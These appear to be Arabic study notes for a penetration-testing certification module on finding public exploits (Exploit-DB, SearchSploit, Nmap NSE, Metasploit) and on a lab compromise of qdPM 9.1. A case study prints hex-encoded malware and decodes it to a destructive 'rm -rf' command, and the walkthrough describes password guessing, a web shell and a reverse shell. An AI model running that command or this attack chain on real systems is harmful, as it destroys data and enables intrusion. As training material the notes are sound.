Module 10: تحديد موقع الإكسبلويتات العامة

الموديول ده بيغطي أربع محاور أساسية:

1مقدمة لاستخدام كود إكسبلويت منشور للعامة
2منصات ويب بتنشر مواد إكسبلويت
3مستودعات إكسبلويت محلية (أوفلاين)
4خطوات عملية لإطلاق هجوم ضد نظام عرضة للاستغلال
⬦ Definition

الإكسبلويت (Exploit) هو قطعة سوفت وير، سكربت، أو مجموعة أوامر مصمَّمة عشان تستغل نقطة ضعف أمنية في هدف. حسب الغرض منه، ممكن:

1) يعطّل خدمة (Denial of Service — DoS)   2) يسمح للمهاجم ينفّذ أوامر عشوائية على جهاز بعيد (Remote Code Execution — RCE)   3) يصعّد الصلاحيات أبعد من المسموح بيه عاديًا (Privilege Escalation)

في مهمات اختبار الاختراق الحقيقية، المحترفين الأمنيين كتير ما بيعتمدوا على كود إكسبلويت منشور بالفعل لما ثغرة معروفة تكون موجودة. فالقدرة على إنك تلاقي، تقيّم، وتعدّل إكسبلويتات عامة بكفاءة بقت مهارة أساسية.

الموديول ده بيركّز على قواعد بيانات ومجتمعات أونلاين معروفة بتوزّع كود إكسبلويت للثغرات المُفصَح عنها. بالإضافة لكده، بيستكشف أدوات متضمَّنة في Kali Linux بتخزّن سكربتات إكسبلويت محليًا للاستخدام أوفلاين.

بعد ما نتعلّم إزاي نحدد ونجيب كود إكسبلويت، هنصقل عملية الاختيار عشان نحدد أنهي إكسبلويتات قابلة للتطبيق على بيئة هدف معينة. في نهاية الموديول، هننفّذ enumeration ضد نظام عشان نحدد ثغرات ونطابقها مع إكسبلويتات مناسبة ممكن تؤدي لاختراق ناجح.


01الأساسيات (Foundations)

أهداف الوحدة

1إدراك مخاطر تشغيل كود إكسبلويت من مصادر غير موثَّقة
2فهم ليه مراجعة وفهم وظيفة الإكسبلويت حاسمة قبل التنفيذ

في القسم ده، هنحلّل مثال لإكسبلويت عام ضار عشان نوضّح المخاطر المحتملة. تشغيل كود إكسبلويت من غير فحص يقدر يكون خطير، لأن الكود ده ممكن يحتوي أفعال خبيثة مخفية، سلوك تخريبي غير مقصود، أو payloads ممكن تخترق جهاز المختبر نفسه.

⚠ Word of Warning

حاسم إنك تدرك إن الحصول على كود إكسبلويت من مصادر عامة وتشغيله ممكن يحمل مخاطر جسيمة على جهاز المختبر والبيئة المحيطة بيه. تشغيل كود كده من غير فحص مناسب ممكن يؤدي لتلف النظام، فقدان بيانات، أو اختراق غير مقصود. عشان كده، أساسي إنك تراجع وتفهم كويس إيه اللي الإكسبلويت فعلًا بيعمله قبل ما تشغّله.

دراسة حالة: 0pen0wn

خُد بالك من حالة 0pen0wn، أداة اتنشرت بزعم إنها بتستهدف خدمات SSH عن بعد. أثناء فحص الكود المصدري بتاعها، تفصيلة مريبة واحدة لفتت النظر فورًا: البرنامج كان بيطلب صلاحيات root على جهاز المهاجم نفسه.

c
if (geteuid()) {
puts("Root is required for raw sockets, etc."); return 1;
}

الإكسبلويت الشرعي مش دايمًا محتاج صلاحيات إدارية كاملة على جهاز المهاجم، فالطلب ده أثار شكوك وبرّر فحص أعمق.

الـ Payload الخبيث المخفي

تحليل أعمق كشف متغيّر اسمه jmpcode، معروض كأنه shellcode مُرمَّز:

c
char jmpcode[] =
"\x72\x6D\x20\x2D\x72\x66\x20\x7e\x20\x2F\x2A\x20\x32\x3e\x20\x2f"
"\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x20\x26";

رغم إنه متنكّر كتعليمات إكسبلويت منخفضة المستوى، فكّ القيم الـ hexadecimal كشف إنه في الحقيقة أمر shell مُخفي:

bash
rm -rf ~ /* 2> /dev/null &
☠ Payload Decoded

الأمر ده كان هيمسح recursively كل الملفات عبر نظام ملفات المهاجم المبني على UNIX، وبالتالي يدمّر النظام بالكامل. يعني بدل ما الإكسبلويت يخترق الهدف، كان مصمَّم عشان يخرّب الشخص اللي بيشغّله. وعلى سبيل الطين بلّة، البرنامج كمان كان بيحاول يتصل بسيرفر IRC عام عشان يذيع نشاط المستخدم، وده بيحوّل الحادثة لإحراج عام كمان، مش بس كارثة تقنية.

دروس أساسية في التعامل مع الإكسبلويتات العامة

بسبب مخاطر زي دي، المحترفين الأمنيين لازم يتعاملوا مع كود الإكسبلويت العام بحذر:

  1. متثقش في كود الإكسبلويت عمياني، حتى لو بيبان إنه بيستهدف ثغرة معروفة
  2. راجع الكود المصدري يدويًا عشان تفهم سلوكه والـ payload بتاعه
  3. فضّل المستودعات الموثوقة اللي بتعمل تحقق أساسي قبل ما تنشر الإكسبلويتات
  4. استخدم مراجعة الكود كفرصة تعلّم، خصوصًا لتحسين الإلمام البرمجي
✓ Tip

برامج الإكسبلويت المكتوبة بلغات منخفضة المستوى (زي C) غالبًا بتتوزّع كـ كود مصدري وكمان كـ binaries مُجمَّعة (compiled). رغم إن تجميع الكود المصدري محتاج مجهود إضافي، ملفات الكود المقروء أسهل بكتير للمراجعة بحثًا عن منطق خبيث من الـ executables المعتمة، اللي عادةً محتاجة مهارات reverse engineering.

$ cat ./lu1_takeaways.txt

02مصادر إكسبلويت أونلاين

أهداف الوحدة

1التنقّل بين عدة منصات ويب بتنشر كود إكسبلويت
2تمييز خصائص وموثوقية مصادر مختلفة
3إدراك المخاطر المحتملة لتحميل إكسبلويتات من الإنترنت
4استخدام تقنيات بحث متقدمة (Google operators) لإيجاد إكسبلويتات عامة

بعد ما نخلّص استطلاع وenumeration للخدمات أثناء اختبار الاختراق، الخطوة المنطقية الجاية هي مقارنة إصدارات السوفت وير المكتشَفة مع ثغرات معروفة. لو لقينا تطابق، المختبر يقدر يدوّر على كود إكسبلويت موجود بيستهدف نقاط الضعف دي.

Exploit Database

Exploit Database — بيُختصر غالبًا لـ Exploit-DB أو EDB — مستودع معروف بتحتفظ بيه netriders. بيُعتبر أرشيف متاح للعامة لكود إكسبلويت اتجمع من مساهمات المجتمع، قوائم بريدية أمنية، ومصادر مفتوحة تانية.

نظرة عامة على الصفحة الرئيسية

افتراضيًا، الموقع بيعرض الإكسبلويتات مرتَّبة حسب تاريخ النشر، بالأحدث يظهر الأول. كذا عمود مهم بيدّي رؤية سريعة:

العمودالوظيفة
D (Download)رابط مباشر للحصول على ملف الإكسبلويت
A (Application)روابط للسوفت وير العرضة للاستغلال لو متاحة — مفيدة لاختبار اللاب
V (Verified)بيوضّح إذا كان مراجعين موثوقين اختبروا الإكسبلويت ونجح معاهم
Titleبيعرض السوفت وير المتأثر، الإصدار العرضة للاستغلال، والغرض من الإكسبلويت
Typeبيصنّف الإكسبلويت (مثلًا: DoS، local، remote، أو web application)
Platformبيحدد الأنظمة المتأثرة — أنظمة تشغيل، هاردوير، أو خدمات
Authorبينسب الفضل للشخص اللي قدّم الإكسبلويت

مؤشّر التحقق (V) قيّم بشكل خاص لأنه بيدّل على إن الإكسبلويت اتفحص وتأكّد إنه بيشتغل زي ما متوقَّع، وده بيدّي طبقة إضافية من الثقة.

عرض تفاصيل إكسبلويت محدَّد

اختيار إدخال معين بيفتح صفحة مخصَّصة فيها تفاصيل موسَّعة. مثلًا، إدخال m1k1o's Blog v1.0 — Authenticated Remote Code Execution بيشمل:

التخطيط ده بيسمح للمختبرين يفحصوا الكود مباشرة في المتصفح قبل ما يقرروا يحمّلوه ويستخدموه.

التحديثات والإشعارات: الإضافات الجديدة للقاعدة بتُعلَن بانتظام عبر قنوات السوشيال ميديا وRSS feeds، وده بيسمح للمحترفين الأمنيين يفضلوا على اطّلاع بالإكسبلويتات المنشورة حديثًا.

Packet Storm

Packet Storm بوابة أمن سيبراني قديمة وموثوقة بتنشر معلومات حالية متعلقة بالأبحاث الأمنية، الإفصاح عن الثغرات، إصدارات الإكسبلويتات، وأدوات دفاعية. المنصة بتعتبر مركز رئيسي حيث المحترفين والباحثين والطلبة يقدروا يوصلوا لمواد تقنية للتعلّم، التحليل، واختبار اللاب.

بالإضافة لكود الإكسبلويت، الموقع كمان بيجمّع:

  1. نشرات أمنية وإعلانات ثغرات
  2. أوراق بحثية ووثائق تقنية
  3. أدوات صادرة من موزّعين وباحثين مستقلّين
  4. موارد تعليمية لممارسة اختبار الاختراق

شبه مستودعات الإكسبلويت الموثوقة التانية، المنصة بتوزّع تحديثات عبر قنوات السوشيال ميديا وRSS feeds، وده بيسمح للمستخدمين يراقبوا المحتوى الجديد المنشور في الوقت الحقيقي.

GitHub

GitHub خدمة ويب واسعة الانتشار مصمَّمة لاستضافة الكود المصدري، التحكّم بالإصدارات (version control)، والتطوير التعاوني. بما إنه بيسمح لأي حد ينشر مشاريع، بقى كمان مكان شائع لمشاركة proof-of-concept exploits وأدوات أمنية.

اعتبارات أمنية

الانفتاح اللي بيخلّي GitHub قيّم بيجيب كمان مخاطر كبيرة. على عكس الأرشيفات المنسَّقة، المستودعات على GitHub مش بالضرورة متراجَعة قبل النشر. ده معناه إن جهات خبيثة تقدر ترفع كود ضار متنكّر كإكسبلويت شرعي.

⚠ Documented Risk

فيه حالات موثَّقة حيث برامج زُعم إنها إكسبلويتات كانت فعليًا بتثبّت backdoors مخفية على جهاز أي حد شغّلها. نتيجة لكده، أي كود متحصَّل من منصات كده لازم يُعامَل كغير موثوق لحد ما يتم فحصه بدقة. ده مش معناه إن مستودعات GitHub خطيرة بطبعها — كتير منها بيعمله باحثين محترمين — لكن التحقق الحذر أساسي قبل الاستخدام.

مميزات استخدام GitHub في أبحاث الإكسبلويت

رغم المخاطر، GitHub بيوفّر ميزة مهمة: سرعة التوفّر. لما ثغرة جديدة تتكشف للعامة، الباحثين الأمنيين يقدروا ينشروا كود proof-of-concept بسرعة، غالبًا خلال ساعات. ده بيخلّي المنصة مصدر قيّم للأبحاث الحديثة ومواد الاختبار المبكر.

مؤسسات زي eX بتحتفظ بمستودعات GitHub رسمية فيها أدوات أمنية ومجموعات إكسبلويتات. مثلًا، مستودعهم للإكسبلويتات المُجمَّعة مسبقًا (precompiled) بيوفّر binaries جاهزة للتشغيل، وده بيسهّل الاختبار في بيئات اللاب من غير الحاجة لتجميع يدوي.

عوامل بحث Google لإيجاد الإكسبلويتات

أبعد من المستودعات المخصَّصة، محركات البحث كمان تقدر تُستخدم لاكتشاف مصادر إضافية بتستضيف أبحاث ثغرات وكود إكسبلويت.

نهج عملي هو البحث باسم السوفت وير المستهدَف والإصدار مع كلمة "exploit"، وبعدين تنقية النتائج باستخدام معدّلات بحث متقدمة بيدعمها محركات زي Google. العوامل دي بتسمح بتنقية دقيقة، وبتساعد المختبرين يلاقوا مواد ذات صلة بكفاءة أكتر.

مثلًا، لو عايزين نحدد إكسبلويتات بتأثّر على متصفح Microsoft Edge لكن بس من موقع Exploit Database، نقدر نقيّد النتائج للنطاق ده:

bash
firefox --search "Microsoft Edge site:expl-db.com"

الاستعلام ده بيرجّع صفحات متعلقة بثغرات Microsoft Edge حصريًا من الموقع المحدَّد.

معدّلات بحث مفيدة

العاملالوظيفة
site:بيقيّد النتائج لنطاق محدد
inurl:بيلاقي صفحات فيها مصطلحات معينة جوه الرابط
intitle:بيبحث عن كلمات مفتاحية جوه عنوان الصفحة
intext:بيحدد صفحات فيها كلمات معينة جوه نص الصفحة

إتقان التقنيات دي بيسمح لمختبري الاختراق يحددوا مراجع إكسبلويت بسرعة، خصوصًا لما يتعاملوا مع سوفت وير غير شائع أو ثغرات اتكشفت حديثًا.

الإكسبلويتات المكتشَفة عبر مواقع غير موثَّقة لازم تُعامَل بحذر شديد، لأنها ممكن تحتوي كود خبيث أو تطبيقات proof-of-concept غير موثوقة.


03موارد إكسبلويت أوفلاين

أهداف الوحدة

1استخدام أطر عمل (frameworks) إكسبلويت متاحة محليًا
2البحث في أرشيفات الإكسبلويت باستخدام أدوات متخصصة
3الاستفادة من قدرات Nmap scripting للاستغلال

قيود الشبكة أو ظروف تشغيلية معينة ممكن تمنع الاتصال بالإنترنت أثناء تقييم. في سيناريوهات حيث الاختبار بيحصل جوه بيئة مجزَّأة (segmented) أو معزولة تمامًا (air-gapped)، الاعتماد على موارد أونلاين مش ممكن.

لمعالجة ده، Kali Linux بيشمل مجموعة أدوات وقواعد بيانات بتوفّر وصول أوفلاين لكود الإكسبلويت وفحوصات الثغرات. الموارد المدمَجة دي بتسمح للمختبرين يكملوا شغلهم حتى من غير اتصال خارجي. الأدوات دي عادةً تشمل:

  1. أرشيفات إكسبلويت محلية بتعكس قواعد البيانات الأونلاين
  2. أدوات command-line للبحث في الثغرات
  3. مكتبات سكربتات للفحص والاستغلال الآلي

أطر عمل الإكسبلويت (Exploit Frameworks)

⬦ Definition

إطار الإكسبلويت (Exploit Framework) هو مجموعة أدوات شاملة بتجمع موديولات إكسبلويت مُختبَرة مع أدوات بتسهّل إطلاق هجمات ضد أنظمة عرضة للاستغلال. المنصات دي عادةً بتوفّر واجهة موحَّدة لإعداد الـ payloads، اختيار الأهداف، وتنفيذ الهجمات، سواء كانت الإكسبلويتات مخزَّنة محليًا أو متحصَّلة أونلاين.

الإطارالوصف
Metasploitواحد من أشهر منصات الاستغلال، طوّره أصلًا H. D. Moore سنة 2003 واستحوذت عليه Rapid7 بعدين. بيوفّر مجموعة واسعة من موديولات إكسبلويت وpayloads جاهزة، بتكامل مع Meterpreter، وواجهة command-line وgraphical. نسخة مجانية community + نسخة تجارية بميزات أتمتة متقدمة
Core Impactمنصة استغلال تجارية طوّرتها HelpSystems لتقييمات أمنية على مستوى المؤسسات. بتشمل تدفقات هجوم آلية، تكامل مع أدوات فحص الثغرات، محاكاة phishing، وتحقق بعد الاستغلال لتأكيد جهود العلاج. مفيش نسخة مجانية، بتُستخدم غالبًا من فرق أمنية محترفة
CANVASمجموعة استغلال مدفوعة من Immunity. المشتركين بياخدوا تحديثات متكررة بموديولات إكسبلويت جديدة وتحسينات، عشان تفضل الأداة فعّالة ضد ثغرات ناشئة
BeEF(Browser Exploitation Framework) متخصص في سيناريوهات هجوم client-side. بدل استهداف السيرفرات مباشرة، بيركّز على اختراق متصفحات الويب لتقييم نقاط الضعف من منظور المستخدم — اختبار ثغرات المتصفح، محاكاة هندسة اجتماعية، وتوضيح مخاطر أجهزة عميل مخترقة

الأطر دي بتمثّل موارد قوية بتبسّط مهام الاستغلال أثناء التقييمات الأمنية. رغم إن كل منصة بتختلف في نطاقها وتخصّصها، فهم قدراتها بيساعد المختبرين يختاروا الأداة الأنسب لسيناريو معين.

SearchSploit

Exploit Database بتوفّر نسخة أوفلاين قابلة للتحميل بتحتوي كل كود الإكسبلويت المؤرشَف للعامة. في Kali Linux، الأرشيف ده متضمَّن افتراضيًا كجزء من باكيدج exploitdb، وده بيسمح لمختبري الاختراق يوصلوا للإكسبلويتات حتى من غير اتصال إنترنت.

قبل بداية أي مهمة، أفضل ممارسة إنك تحدّث الباكيدج ده عشان تتأكد إن الأرشيف المحلي فيه أحدث الإضافات:

bash
sudo apt update && sudo apt install exploitdb

الأمر ده بيحدّث الأرشيف المحلي المخزَّن تحت /usr/share/exploitdb/.

بنية الأرشيف

قاعدة البيانات المحلية منظَّمة في مجلدين رئيسيين:

المجلدالمحتوى
exploits/سكربتات إكسبلويت مصنَّفة حسب المنصة، نظام التشغيل، المعمارية، أو اللغة
shellcodes/عينات payload shellcode قابلة لإعادة الاستخدام

بجانب المجلدين، فيه ملفات CSV فهرسة بتوثّق كل الإدخالات. الملفات دي بتخزّن metadata شبيهة باللي بتظهر على موقع Exploit-DB، بما فيها: EDB-ID، عنوان الإكسبلويت، المؤلف، المنصة المستهدَفة، وتفاصيل تقنية إضافية.

bash
ls -1 /usr/share/exploitdb/
exploits
files_exploits.csv
files_shellcodes.csv
shellcodes

جوه مجلد exploits، فيه مجلدات فرعية مجمَّعة حسب البيئة (زي Linux، Windows، BSD، تقنيات ويب، وغيرها)، وده بيخلّي التصفح اليدوي ممكن لكن غير فعّال بسبب العدد الهائل من الملفات.

تقديم SearchSploit

عشان نتنقّل بكفاءة في الأرشيف، Kali بيوفّر أداة command-line اسمها SearchSploit. الأداة دي بتسمح بالبحث السريع عبر القاعدة بالكامل باستخدام كلمات مفتاحية وفلاتر.

تشغيلها من غير معطيات بيعرض تعليمات الاستخدام:

bash
searchsploit
Usage: searchsploit [options] term1 [term2] ... [termN]

SearchSploit بتدعم خيارات كتيرة بتسمح بـ: تضييق النتائج حسب العنوان أو تطابق دقيق، تنقية حسب الإصدار، استبعاد إدخالات غير مرغوبة، عرض النتائج بصيغ زي JSON، وعرض المسار الكامل للإكسبلويت.

تقنيات ونصائح بحث

فلاجز إضافية تقدر تفرض شروط مطابقة أكتر صرامة لما يكون لازم، وده بيقلّل النتائج الإيجابية الكاذبة (false positives).

✎ مثال: البحث عن إكسبلويتات SMB

لو عايزين نلاقي إكسبلويتات عن بعد بتستهدف خدمات SMB على أنظمة Microsoft Windows:

bash
searchsploit remote smb microsoft windows

الخرج بيسرد كل الإكسبلويتات ذات الصلة اللي بتطابق المعايير دي، بما فيها ثغرات معروفة زي SMBGhost وEternalBlue.

نسخ إكسبلويتات للتعديل

أثناء التقييم، المختبرين غالبًا محتاجين يعدّلوا كود الإكسبلويت. تعديل الملفات مباشرة جوه الأرشيف مش موصى بيه لأن تحديثات باكيدج exploitdb هتمسح أي تعديلات. بدل كده، SearchSploit بتوفّر خيار -m (mirror) عشان تنسخ إكسبلويت للمجلد الحالي اللي بتشتغل فيه:

bash
# نسخ باستخدام المسار
searchsploit -m windows/remote/48537.py

# نسخ باستخدام الـ EDB-ID
searchsploit -m 42031

بعد التنفيذ، ملفات الإكسبلويت المختارة بتتنسخ محليًا، وده بيسهّل تعديلها، تنظيمها، وربطها بأهداف محددة أثناء المهمة.

✓ ليه SearchSploit مهمة

SearchSploit أداة حاسمة في المواقف اللي فيها: الوصول للإنترنت مقيَّد، الاختبار بيحصل في شبكات معزولة، أو مطلوب بحث سريع عن إكسبلويتات. بالحفاظ على نسخة أوفلاين من بيانات الإكسبلويت وتوفير قدرات بحث قوية، بتضمن إن مختبري الاختراق يقدروا يكملوا شغلهم بكفاءة بغضّ النظر عن قيود الاتصال.

سكربتات Nmap NSE

Nmap بيُعتبر على نطاق واسع واحد من أهم الأدوات لاكتشاف الشبكات وenumeration الخدمات. من بين قدراته المتقدمة Nmap Scripting Engine (NSE)، اللي بتسمح للمستخدمين يوسّعوا وظائف Nmap عبر سكربتات بتؤتمت مجموعة واسعة من مهام الاختبار الأمني.

إيه اللي NSE يقدر يعمله

محرك السكربتات بيشمل مئات السكربتات الجاهزة المصمَّمة لأنشطة زي:

السكربتات دي بتعزّز فايدة Nmap بشكل كبير عن طريق السماح للمختبرين ينفّذوا فحوصات معقَّدة بشكل آلي أثناء الفحص. كل سكربتات NSE المتاحة مخزَّنة محليًا في /usr/share/nmap/scripts.

عشان نحدد بسرعة السكربتات المتعلقة بالاستغلال، أدوات command-line زي grep تقدر تُستخدم للبحث عن كلمات مفتاحية زي "exploit" جوه أوصاف السكربتات.

تحديد السكربتات المتعلقة بالاستغلال

بفحص مجلد السكربتات بحثًا عن إشارات استغلال، المختبرين يقدروا يكتشفوا سكربتات قادرة فعليًا تستغل ثغرات في خدمات أو تطبيقات محددة. أمثلة تشمل سكربتات بتستهدف: سيرفرات antivirus عرضة للاستغلال، تطبيقات ويب فيها ثغرات remote code execution، نقاط ضعف directory traversal، وآليات رفع ملفات غير آمنة.

عرض تفاصيل سكربت محدَّد

Nmap بيوفّر طريقة مدمَجة لعرض توثيق أي سكربت باستخدام خيار --script-help. ده بيكشف: الثغرة اللي السكربت بيستهدفها، وصف لإزاي الإكسبلويت بيشتغل، إصدارات السوفت وير المتأثرة، ومراجع لنشرات أو أبحاث خارجية.

bash
nmap --script-help=clamav-exec.nse

الخرج بيشرح إن السكربت بيستهدف إصدارات معينة من ClamAV بتسمح بتنفيذ أوامر خدمة خطيرة من غير توثيق. ممكن كمان يشمل مراجع لتقارير ثغرات أو الباحثين اللي اكتشفوا المشكلة.

✓ ليه NSE مهم في اختبار الاختراق

التحقق من وجود سكربت NSE لخدمة مكتشَفة يقدر يوفّر وقت كبير. بدل صياغة إكسبلويت يدويًا، المختبرين يقدروا يستفيدوا من سكربتات جاهزة للتحقق من الثغرات بسرعة. المزايا الأساسية: أتمتة مهام اختبار متكررة، تنفيذ موثوق لتقنيات هجوم معروفة، تكامل مباشر في سير عمل الفحص، والقدرة على تشغيل كذا سكربت في نفس الوقت. بسبب المزايا دي، سكربتات NSE غالبًا بتُستخدم كجسر بين مرحلتي الاستطلاع والاستغلال.


04استغلال هدف — تمرين عملي كامل

أهداف الوحدة

1تطبيق نهج منظَّم لتحديد وتحليل نظام هدف
2إيجاد إكسبلويتات عامة مناسبة لثغرات مكتشَفة
3اختراق جهاز عرضة للاستغلال باستخدام إكسبلويت متاح
4الحصول على shell أولي محدود الصلاحيات على جهاز الهدف
✎ بيئة السيناريو

الهدف هو اختراق سيرفر Linux بيشغّل تطبيق ويب معروف إنه فيه ثغرة مُفصَح عنها للعامة.

IP سيرفر الهدف: 192.168.50.11  |  IP جهاز المهاجم (Kali): 192.168.50.129

1
اكتشاف الخدمات (Service Discovery)

فحص الشبكة كشف بورتين مفتوحين: 22 (SSH) و80 (HTTP). بما إن SSH غالبًا بيحتاج بيانات اعتماد ومش عادةً قابل للاستغلال من غير نقاط ضعف إضافية، التركيز اتحوّل لخدمة الويب على بورت 80.

فتح الموقع عرض صفحة شركتية لشركة تطوير AI. الفحص اليدوي الأولي ما كشفش ثغرات واضحة، رغم إن أسماء وإيميلات موظفين كانت ظاهرة في صفحة "About".

2
Enumeration الويب

باستخدام أداة directory brute-forcing، اتكشف مجلد مشروع مخفي فيه واجهة تسجيل دخول متسمّية كبوابة إدارة مشروع AI.

فحص مصدر الصفحة كشف اسم التطبيق وإصداره: qdPM 9.1. qdPM نظام إدارة مشاريع مبني على الويب، وتحديد إصداره كان حاسم لأبحاث الثغرات.

3
إيجاد إكسبلويت مطابق

البحث في مستودعات إكسبلويت عامة عن الإصدار المحدَّد كشف ثغرة authenticated remote code execution بتأثّر على التطبيق. الإكسبلويت المختار:

  • بيستهدف qdPM 9.1
  • بيحتاج بيانات اعتماد مستخدم صالحة
  • بيرفع web shell للسيرفر

قبل تشغيل أي إكسبلويت، مراجعة الكود المصدري بتوضّح إزاي بيشتغل وإيه المدخلات المطلوبة.

4
الحصول على بيانات اعتماد صالحة

بما إن الإكسبلويت بيحتاج توثيق، الحصول على بيانات اعتماد بقى ضروري. عناوين الإيميل اللي اتلاحظت من الموقع اتستخدمت في هجوم تخمين باسورد (password-guessing) ضد بوابة تسجيل الدخول. في النهاية، بيانات اعتماد صالحة اتكشفت لحساب موظف واحد.

بعد تسجيل الدخول بنجاح، ميزات التطبيق الداخلية بقت متاحة، وده أكّد إن بيانات الاعتماد شغّالة.

5
تنفيذ الإكسبلويت

سكربت الإكسبلويت اتنسخ محليًا باستخدام أداة زي SearchSploit واتشغّل بـ: رابط الهدف (Target URL)، اسم مستخدم صالح، وباسورد.

رغم إن السكربت طلّع تحذير في الخرج، فحوصات إضافية أكّدت النجاح — web shell خبيث بصيغة PHP اترفع للسيرفر.

6
التحقق من تنفيذ الأوامر

ببعت أمر عبر السكربت اللي اترفع (مثلًا السؤال عن المستخدم الحالي للنظام)، الرد أكّد تنفيذ أوامر عن بعد تحت حساب سيرفر الويب:

output
www-data

ده بيدّل على إن foothold منخفض الصلاحيات اتحصّل عليه.

7
الترقية لـ Reverse Shell

بعد كده، المهاجم بيتأكد إذا كانت أداة شبكة متاحة على الهدف. بعد تأكيد توفّرها، listener بيتبدأ على جهاز المهاجم. أمر reverse shell بعد كده بيتنفّذ عبر الـ web shell، وده بيخلّي سيرفر الهدف يبدأ اتصال يرجع للمهاجم.

بمجرد ما الاتصال يتم، تنفيذ أوامر تفاعلي على الجهاز المخترَق بقى ممكن.

Scan22 / 80Enum WebqdPM 9.1Find Exploitauth RCECredentialsguessingRun Exploitweb shellReverse Shellwww-data → interactive
تسلسل الاستغلال الكامل: Scan ← Enum Web ← Find Exploit ← Credentials ← Run Exploit ← Reverse Shell

الدروس الأساسية من سير العمل

التمرين ده بيوضّح سلسلة الاستغلال النموذجية المستخدَمة في المهمات الحقيقية:

  1. اكتشاف الخدمات المكشوفة
  2. تحديد التطبيقات الشغّالة وإصداراتها
  3. البحث عن ثغرات معروفة
  4. إيجاد كود إكسبلويت موثوق
  5. جمع المدخلات المطلوبة (بيانات اعتماد، مسارات، إلخ)
  6. تنفيذ الإكسبلويت بحذر
  7. تأسيس وصول أولي
★ Exam Tip

درس حاسم هنا هو أهمية مراجعة كود الإكسبلويت قبل الاستخدام عشان تتجنّب تلف غير مقصود أو سلوك خبيث مخفي — بالظبط زي درس 0pen0wn اللي اتكلّمنا عنه في بداية الموديول. في الامتحان، دايمًا افتح الإكسبلويت واقرا الكود قبل ما تشغّله على أي هدف.


Cheat Sheet مرجعي

أوامر SearchSploit الأساسية

الأمرالوظيفة
searchsploit <term>بحث بكلمة أو أكتر عبر الأرشيف المحلي
searchsploit -m <path/EDB-ID>نسخ إكسبلويت للمجلد الحالي للتعديل
searchsploit --nmap <file.xml>مطابقة نتائج فحص Nmap مع إكسبلويتات متاحة
searchsploit -w <term>عرض رابط Exploit-DB أونلاين بدل المسار المحلي
sudo apt update && sudo apt install exploitdbتحديث الأرشيف المحلي

مسارات مهمة

المسارالمحتوى
/usr/share/exploitdb/exploits/سكربتات الإكسبلويت مصنَّفة حسب المنصة
/usr/share/exploitdb/shellcodes/عينات shellcode
/usr/share/nmap/scripts/كل سكربتات NSE

معدّلات بحث Google

العاملالمثال
site:site:exploit-db.com
inurl:inurl:exploit
intitle:intitle:"remote code execution"
intext:intext:"CVE-2024"

أطر عمل الإكسبلويت — مقارنة سريعة

الإطارمجاني؟أفضل استخدام
Metasploitنسخة Community مجانيةاستغلال عام، Meterpreter، أتمتة سريعة
Core Impactتجاري بالكاملتقييمات مؤسسية، تدفقات هجوم آلية
CANVASتجاري بالكاملموديولات حديثة بتحديثات مستمرة
BeEFمفتوح المصدراستغلال متصفح / client-side

الخلاصة العامة للموديول

في الموديول ده، استكشفنا مخاطر تشغيل سوفت وير من مصادر غير معروفة أو غير موثَّقة. راجعنا منصات متعددة بتوفّر كود إكسبلويت لثغرات مُفصَح عنها للعامة، بما فيها مستودعات أونلاين ومجموعات أوفلاين ممكن يتوصل ليها من غير اتصال.

بالإضافة لكده، مرّينا على مثال عملي بيوضّح إزاي الموارد دي تساعد في تحديد إكسبلويتات متاحة لإصدارات سوفت وير معينة اتكشفت أثناء عملية enumeration الهدف.

الدرس الأهم في الموديول ده: الثقة مش حاجة تُمنَح تلقائيًا لأي كود عام، مهما كان مصدره يبان موثوق. دايمًا راجع، افهم، واختبر في بيئة معزولة قبل ما تشغّل أي إكسبلويت على هدف حقيقي.


نهاية نوتس الموديول العاشر — OSCP: Locating Public Exploits